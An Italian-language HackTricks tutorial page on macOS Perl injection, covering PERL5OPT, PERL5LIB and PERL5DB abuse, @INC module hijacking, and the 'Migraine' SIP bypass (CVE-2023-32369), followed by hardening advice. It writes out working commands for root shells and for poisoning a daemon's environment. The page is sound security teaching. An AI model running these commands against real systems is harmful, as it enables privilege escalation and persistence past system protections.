macOS Perl Applications Injection
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Via PERL5OPT
& PERL5LIB
env variable
Utilizzando la variabile d'ambiente PERL5OPT
è possibile far eseguire a Perl comandi arbitrari quando l'interprete si avvia (anche prima che la prima riga dello script di destinazione venga analizzata).
Ad esempio, crea questo script:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Ora esporta la variabile di ambiente ed esegui lo script perl:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Un'altra opzione è creare un modulo Perl (ad es. /tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
E poi usa le variabili di ambiente in modo che il modulo venga localizzato e caricato automaticamente:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
Altre variabili d'ambiente interessanti
PERL5DB
– quando l'interprete viene avviato con il flag-d
(debugger), il contenuto diPERL5DB
viene eseguito come codice Perl all'interno del contesto del debugger. Se puoi influenzare sia l'ambiente che i flag della riga di comando di un processo Perl privilegiato, puoi fare qualcosa del genere:
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # aprirà una shell prima di eseguire lo script
PERL5SHELL
– su Windows, questa variabile controlla quale eseguibile della shell Perl utilizzerà quando deve generare una shell. Viene menzionata qui solo per completezza, poiché non è rilevante su macOS.
Sebbene PERL5DB
richieda l'opzione -d
, è comune trovare script di manutenzione o di installazione che vengono eseguiti come root con questo flag abilitato per la risoluzione dei problemi dettagliata, rendendo la variabile un vettore di escalation valido.
Via dipendenze (abuso di @INC)
È possibile elencare il percorso di inclusione che Perl cercherà (@INC
) eseguendo:
perl -e 'print join("\n", @INC)'
L'output tipico su macOS 13/14 appare come:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Alcune delle cartelle restituite non esistono nemmeno, tuttavia /Library/Perl/5.30
esiste, non è protetta da SIP ed è prima delle cartelle protette da SIP. Pertanto, se puoi scrivere come root, puoi inserire un modulo malevolo (ad es. File/Basename.pm
) che sarà preferenzialmente caricato da qualsiasi script privilegiato che importa quel modulo.
warning
Hai ancora bisogno di root per scrivere all'interno di /Library/Perl
e macOS mostrerà un prompt TCC che chiede Accesso Completo al Disco per il processo che esegue l'operazione di scrittura.
Ad esempio, se uno script importa use File::Basename;
, sarebbe possibile creare /Library/Perl/5.30/File/Basename.pm
contenente codice controllato dall'attaccante.
Bypass SIP tramite Migration Assistant (CVE-2023-32369 “Migraine”)
Nel maggio 2023 Microsoft ha divulgato CVE-2023-32369, soprannominato Migraine, una tecnica di post-exploitation che consente a un attaccante root di bypassare completamente la Protezione dell'Integrità di Sistema (SIP).
Il componente vulnerabile è systemmigrationd
, un demone dotato di com.apple.rootless.install.heritable
. Qualsiasi processo figlio generato da questo demone eredita il diritto e quindi viene eseguito al di fuori delle restrizioni SIP.
Tra i figli identificati dai ricercatori c'è l'interprete firmato da Apple:
/usr/bin/perl /usr/libexec/migrateLocalKDC …
Perché Perl onora PERL5OPT
(e Bash onora BASH_ENV
), avvelenare l'ambiente del demone è sufficiente per ottenere un'esecuzione arbitraria in un contesto senza SIP:
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
Quando migrateLocalKDC
viene eseguito, /usr/bin/perl
si avvia con il malevolo PERL5OPT
ed esegue /private/tmp/migraine.sh
prima che SIP venga riabilitato. Da quel script puoi, ad esempio, copiare un payload all'interno di /System/Library/LaunchDaemons
o assegnare l'attributo esteso com.apple.rootless
per rendere un file non eliminabile.
Apple ha risolto il problema in macOS Ventura 13.4, Monterey 12.6.6 e Big Sur 11.7.7, ma i sistemi più vecchi o non patchati rimangono sfruttabili.
Raccomandazioni per il rafforzamento
- Pulisci le variabili pericolose – i launchdaemons privilegiati o i cron job dovrebbero avviarsi con un ambiente pulito (
launchctl unsetenv PERL5OPT
,env -i
, ecc.). - Evita di eseguire interpreti come root a meno che non sia strettamente necessario. Usa binari compilati o riduci i privilegi presto.
- Fornisci script con
-T
(modalità taint) in modo che Perl ignoriPERL5OPT
e altri switch non sicuri quando il controllo taint è abilitato. - Mantieni macOS aggiornato – “Migraine” è completamente patchato nelle versioni attuali.
Riferimenti
- Microsoft Security Blog – “Nuova vulnerabilità macOS, Migraine, potrebbe bypassare la Protezione dell'Integrità di Sistema” (CVE-2023-32369), 30 maggio 2023.
- Hackyboiz – “Ricerca sul bypass SIP di macOS (PERL5OPT & BASH_ENV)”, maggio 2025.
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.